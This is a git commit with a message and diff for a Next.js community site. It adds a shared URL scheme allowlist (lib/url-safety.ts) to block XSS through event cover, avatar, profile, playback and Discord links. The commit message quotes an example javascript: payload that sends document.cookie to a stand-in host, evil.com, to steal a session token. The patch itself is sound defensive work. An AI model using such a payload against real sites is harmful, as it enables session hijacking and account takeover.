fix(security): events 外链 XSS 防护 — 抽通用 sanitize + 全量过白名单

longsizhuo · longsizhuo · commit 2ee1f2075231 · 2026-04-17T22:58:34.000Z
Issue: #302 P0-1 问题：/events/[id] 和 /events 页面直接把后端 coverUrl / avatarUrl / profileUrl / discordLink / playbackUrl 塞进 <a href> 和 <img src>， 没有 URL scheme 白名单校验。管理员（或被篡改的后端数据）填一个 javascript:fetch('//evil.com/steal?c='+document.cookie) 点击后在 involutionhell.com origin 里执行 JS，可盗 satoken 冒充用户。 改造： - 新增 lib/url-safety.ts，把 /u/[username]/page.tsx 本地的 sanitizeExternalUrl 抽出来共享，并新增 sanitizeMediaUrl（img/video/iframe 场景，不放 mailto） - profile 页改用共享版（删本地 duplicate） - /events 列表页 EventCard.coverUrl 过 sanitizeMediaUrl - /events/[id] 详情页所有外来 URL 全部过白名单： * coverUrl / speaker.avatarUrl → sanitizeMediaUrl * speaker.profileUrl / playbackUrl / discordLink → sanitizeExternalUrl - playback section 调整：embed (YouTube host 白名单) 和 safePlaybackUrl 两者都 null 时整块不渲染，避免出现"标题存在但按钮消失"的空洞 toYoutubeEmbed 自带 host 白名单已能拦 javascript:（protocol 不匹配 youtu.be/youtube.com 就返回 null），本身安全；此次只补了它的 fallback 锚点链接。 其他项仍在 #302 清单里：InterestButton 错误提示 / Sentry beforeSend / EventForm 时间校验 / AdminGuard 显式化 / SafeImg 抽组件等，留给 owner 自己找时间验证修复。
diff --git a/app/events/[id]/page.tsx b/app/events/[id]/page.tsx
@@ -5,6 +5,7 @@ import { Header } from "@/app/components/Header";
 import { Footer } from "@/app/components/Footer";
 import type { EventDetailResponse, EventView } from "../types";
 import { InterestButton } from "./InterestButton";
+import { sanitizeExternalUrl, sanitizeMediaUrl } from "@/lib/url-safety";
 
 /**
  * /events/[id] 详情页。SSR 拉 /api/events/{id}。
@@ -69,7 +70,14 @@ export default async function EventDetailPage({ params }: Param) {
   if (!data) notFound();
 
   const event = data.event;
+  // 所有外来 URL 都过 XSS 白名单——jobs: 拦 javascript: / data: / vbscript:
+  // 等在 <a href> / <img src> 场景下会触发脚本执行或数据外泄的向量。
+  // toYoutubeEmbed 内部已经做了 host 白名单（只返回 youtube.com/embed/*），
+  // 但 fallback 的 <a> 链接仍然需要走 sanitize。
   const embedUrl = toYoutubeEmbed(event.playbackUrl);
+  const safeCoverUrl = sanitizeMediaUrl(event.coverUrl);
+  const safePlaybackUrl = sanitizeExternalUrl(event.playbackUrl);
+  const safeDiscordLink = sanitizeExternalUrl(event.discordLink);
 
   return (
     <>
@@ -107,10 +115,10 @@ export default async function EventDetailPage({ params }: Param) {
             )}
           </header>
 
-          {event.coverUrl && (
+          {safeCoverUrl && (
             // eslint-disable-next-line @next/next/no-img-element
             <img
-              src={event.coverUrl}
+              src={safeCoverUrl}
               alt={event.title}
               className="w-full aspect-[16/9] object-cover border border-[var(--foreground)] mt-6"
             />
@@ -132,41 +140,47 @@ export default async function EventDetailPage({ params }: Param) {
                 Speakers
               </h2>
               <ul className="flex flex-wrap gap-4">
-                {event.speakers.map((s) => (
-                  <li
-                    key={s.name}
-                    className="flex items-center gap-3 border border-[var(--foreground)] px-3 py-2"
-                  >
-                    {s.avatarUrl && (
-                      // eslint-disable-next-line @next/next/no-img-element
-                      <img
-                        src={s.avatarUrl}
-                        alt={s.name}
-                        className="w-8 h-8 border border-[var(--foreground)] object-cover"
-                      />
-                    )}
-                    {s.profileUrl ? (
-                      <a
-                        href={s.profileUrl}
-                        target="_blank"
-                        rel="noopener noreferrer"
-                        className="font-serif text-sm font-semibold hover:text-[#CC0000] transition-colors"
-                      >
-                        {s.name}
-                      </a>
-                    ) : (
-                      <span className="font-serif text-sm font-semibold">
-                        {s.name}
-                      </span>
-                    )}
-                  </li>
-                ))}
+                {event.speakers.map((s) => {
+                  const safeProfileUrl = sanitizeExternalUrl(s.profileUrl);
+                  const safeAvatarUrl = sanitizeMediaUrl(s.avatarUrl);
+                  return (
+                    <li
+                      key={s.name}
+                      className="flex items-center gap-3 border border-[var(--foreground)] px-3 py-2"
+                    >
+                      {safeAvatarUrl && (
+                        // eslint-disable-next-line @next/next/no-img-element
+                        <img
+                          src={safeAvatarUrl}
+                          alt={s.name}
+                          className="w-8 h-8 border border-[var(--foreground)] object-cover"
+                        />
+                      )}
+                      {safeProfileUrl ? (
+                        <a
+                          href={safeProfileUrl}
+                          target="_blank"
+                          rel="noopener noreferrer"
+                          className="font-serif text-sm font-semibold hover:text-[#CC0000] transition-colors"
+                        >
+                          {s.name}
+                        </a>
+                      ) : (
+                        <span className="font-serif text-sm font-semibold">
+                          {s.name}
+                        </span>
+                      )}
+                    </li>
+                  );
+                })}
               </ul>
             </section>
           )}
 
-          {/* 回放：YouTube 可嵌入就内嵌，不行就给按钮 */}
-          {event.playbackUrl && (
+          {/* 回放：YouTube 可嵌入就内嵌；不行就看 safePlaybackUrl 有没有值给按钮。
+              embedUrl 来自 toYoutubeEmbed 自带 host 白名单；safePlaybackUrl 走
+              通用 scheme 白名单。两者都 null 时整块不渲染（连标题一起隐藏）。 */}
+          {(embedUrl || safePlaybackUrl) && (
             <section className="mt-10">
               <h2 className="font-mono text-[10px] uppercase tracking-[0.3em] text-neutral-500 mb-4">
                 回放 · Playback
@@ -181,16 +195,16 @@ export default async function EventDetailPage({ params }: Param) {
                     className="w-full h-full"
                   />
                 </div>
-              ) : (
+              ) : safePlaybackUrl ? (
                 <a
-                  href={event.playbackUrl}
+                  href={safePlaybackUrl}
                   target="_blank"
                   rel="noopener noreferrer"
                   className="inline-block font-mono text-xs uppercase tracking-widest px-4 py-2 border border-[var(--foreground)] hover:bg-[var(--foreground)] hover:text-[var(--background)] transition-colors"
                 >
                   前往回放 →
                 </a>
-              )}
+              ) : null}
             </section>
           )}
 
@@ -201,9 +215,9 @@ export default async function EventDetailPage({ params }: Param) {
               initialCount={event.interestCount}
               initialInterested={data.interested}
             />
-            {event.discordLink && (
+            {safeDiscordLink && (
               <a
-                href={event.discordLink}
+                href={safeDiscordLink}
                 target="_blank"
                 rel="noopener noreferrer"
                 className="font-mono text-xs uppercase tracking-widest px-4 py-2 border border-[var(--foreground)] bg-[var(--foreground)] text-[var(--background)] hover:bg-[#CC0000] hover:border-[#CC0000] transition-colors"
diff --git a/app/events/page.tsx b/app/events/page.tsx
@@ -3,6 +3,7 @@ import Link from "next/link";
 import { Header } from "@/app/components/Header";
 import { Footer } from "@/app/components/Footer";
 import type { EventView } from "./types";
+import { sanitizeMediaUrl } from "@/lib/url-safety";
 
 /**
  * /events 列表页。
@@ -129,14 +130,16 @@ function EventSection({
 }
 
 function EventCard({ event }: { event: EventView }) {
+  // 后端传来的 coverUrl 理论上干净，但走 XSS 白名单防管理员填错或历史脏数据
+  const safeCoverUrl = sanitizeMediaUrl(event.coverUrl);
   return (
     <li className="border border-[var(--foreground)] hover:border-[#CC0000] transition-colors group">
       <Link href={`/events/${event.id}`} className="block">
-        {event.coverUrl ? (
+        {safeCoverUrl ? (
           // 用原生 img：/next.config.mjs 里全站 unoptimized:true，没必要走 next/image
           // eslint-disable-next-line @next/next/no-img-element
           <img
-            src={event.coverUrl}
+            src={safeCoverUrl}
             alt={event.title}
             className="w-full aspect-[16/9] object-cover border-b border-[var(--foreground)]"
           />
diff --git a/app/u/[username]/page.tsx b/app/u/[username]/page.tsx
@@ -13,6 +13,7 @@ import { FollowButton } from "./FollowButton";
 import { GithubRepos, GithubReposSkeleton } from "./GithubRepos";
 import { Suspense } from "react";
 import { getTranslations } from "next-intl/server";
+import { sanitizeExternalUrl } from "@/lib/url-safety";
 
 interface UserView {
   id: number;
@@ -235,31 +236,6 @@ function sleep(ms: number): Promise<void> {
   return new Promise((r) => setTimeout(r, ms));
 }
 
-/**
- * URL scheme 白名单：仅允许 http(s)/mailto，拦截 javascript: / data: 等向量。
- * 任何 preferences 里的 URL 在渲染前必须过这里。
- */
-function sanitizeExternalUrl(raw: string | undefined | null): string | null {
-  if (!raw || typeof raw !== "string") return null;
-  const trimmed = raw.trim();
-  if (!trimmed) return null;
-  try {
-    // 允许相对路径（以 / 开头），直接放行
-    if (trimmed.startsWith("/") && !trimmed.startsWith("//")) return trimmed;
-    const u = new URL(trimmed);
-    if (
-      u.protocol === "http:" ||
-      u.protocol === "https:" ||
-      u.protocol === "mailto:"
-    ) {
-      return u.toString();
-    }
-    return null;
-  } catch {
-    return null;
-  }
-}
-
 /**
  * 从 leaderboard JSON 按 githubId 匹配贡献记录。
  * 之前按 name 字符串匹配会踩坑（leaderboard.name = "longsizhuo"，user_accounts.username = "github_114939201"），
diff --git a/lib/url-safety.ts b/lib/url-safety.ts
@@ -0,0 +1,57 @@
+/**
+ * URL scheme 白名单工具——拦截 javascript: / data: / vbscript: 等 XSS 向量。
+ *
+ * 两个主要入口：
+ *   - sanitizeExternalUrl: 给 <a href> 用，允许 http/https/mailto + 站内相对路径
+ *   - sanitizeMediaUrl:   给 <img src> / <video src> / <iframe src> 用，
+ *                         只允许 http/https（mailto 放进来没意义）
+ *
+ * 任何从后端 / 用户偏好 / 管理员输入来的 URL 在渲染前都必须过这里。
+ * 从最早 /u/[username]/page.tsx 的本地实现抽出来共享，events 页 / profile
+ * 页复用同一套白名单逻辑，避免各自再写一份容易漏项。
+ */
+
+const SAFE_LINK_PROTOCOLS = new Set(["http:", "https:", "mailto:"]);
+const SAFE_MEDIA_PROTOCOLS = new Set(["http:", "https:"]);
+
+function sanitize(
+  raw: string | undefined | null,
+  allowed: Set<string>,
+  allowRelative: boolean,
+): string | null {
+  if (!raw || typeof raw !== "string") return null;
+  const trimmed = raw.trim();
+  if (!trimmed) return null;
+  // 相对路径（/foo/bar）放行；但屏蔽协议相对 URL (//evil.com/x)，
+  // 那种会继承当前页 scheme 去找攻击者域名
+  if (allowRelative && trimmed.startsWith("/") && !trimmed.startsWith("//")) {
+    return trimmed;
+  }
+  try {
+    const u = new URL(trimmed);
+    return allowed.has(u.protocol) ? u.toString() : null;
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * 链接（<a href>）场景：允许 http(s) / mailto / 站内相对路径。
+ * 不合法返回 null，调用方应当渲染成纯文本（不要加 <a>）。
+ */
+export function sanitizeExternalUrl(
+  raw: string | undefined | null,
+): string | null {
+  return sanitize(raw, SAFE_LINK_PROTOCOLS, true);
+}
+
+/**
+ * 媒体（<img src> / <video src> / <iframe src>）场景：只允许 http(s)。
+ * mailto 无意义；data: 虽然对 <img> 较常用但体积和审计风险高，默认不放；
+ * 站内相对路径允许（/logo.png、/event/cover.webp 这些）。
+ */
+export function sanitizeMediaUrl(
+  raw: string | undefined | null,
+): string | null {
+  return sanitize(raw, SAFE_MEDIA_PROTOCOLS, true);
+}
